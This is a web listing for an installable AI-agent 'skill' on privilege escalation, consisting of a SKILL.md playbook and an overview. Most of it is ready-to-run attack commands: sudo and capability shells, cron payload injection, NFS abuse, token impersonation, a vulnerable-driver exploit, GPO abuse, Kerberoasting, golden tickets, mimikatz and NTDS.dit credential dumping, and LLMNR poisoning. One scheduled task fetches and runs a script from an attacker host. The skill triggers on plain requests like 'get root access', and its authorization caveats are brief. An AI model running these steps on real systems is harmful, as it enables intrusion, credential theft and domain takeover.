home / skills / sickn33 / antigravity-awesome-skills / privilege-escalation-methods

privilege-escalation-methods skill

unsafe

This skill helps security professionals enumerate and simulate privilege escalation paths on Linux and Windows to assess defenses and document actionable

This is most likely a fork of the privilege-escalation-methods skill from xfstudio

npx playbooks add skill sickn33/antigravity-awesome-skills --skill privilege-escalation-methods

Review the files below or copy the command above to add this skill to your agents.

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SKILL.md

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---
name: Privilege Escalation Methods
description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
metadata:
  author: zebbern
  version: "1.1"
---

# Privilege Escalation Methods

## Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

## Inputs/Prerequisites

- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC

## Outputs/Deliverables

- Root or Administrator shell access
- Extracted credentials and hashes
- Persistent access mechanisms
- Domain compromise (for AD environments)

---

## Core Techniques

### Linux Privilege Escalation

#### 1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

```bash
# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
```

#### 2. Abusing Scheduled Tasks (Cron)

```bash
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p
```

#### 3. Abusing Capabilities

```bash
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
```

#### 4. NFS Root Squashing

```bash
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
```

#### 5. MySQL Running as Root

```bash
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
```

---

### Windows Privilege Escalation

#### 1. Token Impersonation

```powershell
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
```

#### 2. Service Abuse

```powershell
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
```

#### 3. Abusing SeBackupPrivilege

```powershell
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
```

#### 4. Abusing SeLoadDriverPrivilege

```powershell
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
```

#### 5. Abusing GPO

```powershell
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"
```

---

### Active Directory Attacks

#### 1. Kerberoasting

```bash
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
```

#### 2. AS-REP Roasting

```powershell
.\Rubeus.exe asreproast
```

#### 3. Golden Ticket

```powershell
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
```

#### 4. Pass-the-Ticket

```powershell
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
```

#### 5. Golden Ticket with Scheduled Tasks

```powershell
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
```

---

### Credential Harvesting

#### LLMNR Poisoning

```bash
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
```

#### NTLM Relay

```bash
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
```

#### Dumping with VSS

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
```

---

## Quick Reference

| Technique | OS | Domain Required | Tool |
|-----------|-----|-----------------|------|
| Sudo Binary Abuse | Linux | No | GTFOBins |
| Cron Job Exploit | Linux | No | Manual |
| Capability Abuse | Linux | No | getcap |
| NFS no_root_squash | Linux | No | mount |
| Token Impersonation | Windows | No | SweetPotato |
| Service Abuse | Windows | No | PowerUp |
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
| AS-REP Roasting | Windows | Yes | Rubeus |
| Golden Ticket | Windows | Yes | Mimikatz |
| Pass-the-Ticket | Windows | Yes | Rubeus |
| DCSync | Windows | Yes | Mimikatz |
| LLMNR Poisoning | Windows | Yes | Responder |

---

## Constraints

**Must:**
- Have initial shell access before attempting escalation
- Verify target OS and environment before selecting technique
- Use appropriate tool for domain vs local escalation

**Must Not:**
- Attempt techniques on production systems without authorization
- Leave persistence mechanisms without client approval
- Ignore detection mechanisms (EDR, SIEM)

**Should:**
- Enumerate thoroughly before exploitation
- Document all successful escalation paths
- Clean up artifacts after engagement

---

## Examples

### Example 1: Linux Sudo to Root

```bash
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```

### Example 2: Windows Kerberoasting

```bash
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
```

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |

---

## Additional Resources

For detailed enumeration scripts, use:
- **LinPEAS**: Linux privilege escalation enumeration
- **WinPEAS**: Windows privilege escalation enumeration
- **BloodHound**: Active Directory attack path mapping
- **GTFOBins**: Unix binary exploitation reference

Overview

This skill provides a compact, practical reference for post-exploitation privilege escalation on Linux and Windows systems. It enumerates common local and Active Directory escalation techniques, required tools, and realistic outcomes like root/Administrator shells and credential extraction. Use it during authorized red team or penetration testing engagements to pick the right escalation path quickly.

How this skill works

The skill guides you through targeted enumeration and exploitation patterns: sudo/SUID checks, cron and capability abuse, NFS and database misconfigurations on Linux; token impersonation, service abuse, privilege abuses, and AD attacks on Windows. It highlights tooling (Mimikatz, Rubeus, Impacket, Responder, GTFOBins) and maps each technique to the prerequisites and expected deliverables. It also includes cleanup, detection considerations, and escalation verification steps.

When to use it

You have an initial low-privilege shell and need to gain root/Administrator access.
Conducting authorized red team or penetration testing post-exploitation phases.
Assessing Active Directory weaknesses, service account risks, or token-related privileges.
After thorough enumeration has shown misconfigurations (sudo, SUID, cron, capabilities).
When you need to extract credentials or establish persistence under client-approved rules.

Best practices

Always enumerate the target OS and environment before selecting a technique (use LinPEAS/WinPEAS).
Prefer least-invasive methods first and document every successful path and artifact.
Avoid attempting escalation on production systems without explicit authorization.
Account for detection: check EDR/AV behavior and clean artifacts after testing.
Use the right tool for domain vs local escalation and verify privileges post-escalation.

Example use cases

Exploit NOPASSWD sudo entry to spawn a root shell with vim or python on a Linux host.
Inject a writable cron script or exploit a setuid binary to gain persistent root access on Linux.
Use token impersonation tools (SweetPotato/SharpImpersonation) to escalate on misconfigured Windows hosts.
Perform Kerberoasting to extract service account hashes, then crack them offline to pivot in an AD environment.
Create and validate a Golden Ticket after obtaining krbtgt or via DCSync in a controlled AD engagement.

FAQ

Do I need domain access for Kerberoasting?

Yes — Kerberoasting targets service accounts in Active Directory and requires valid domain credentials to request service tickets.

What if Mimikatz is blocked by AV?

Use alternative methods like Invoke-Mimikatz, SafetyKatz, or rely on credential dumps via VSS/Shadow Copy when permitted and appropriate.

How do I verify a successful escalation?

Check uid/euid on Linux (id) or SYSTEM/Administrator context on Windows (whoami /priv or token elevation), and ensure expected file and process ownership changes are present.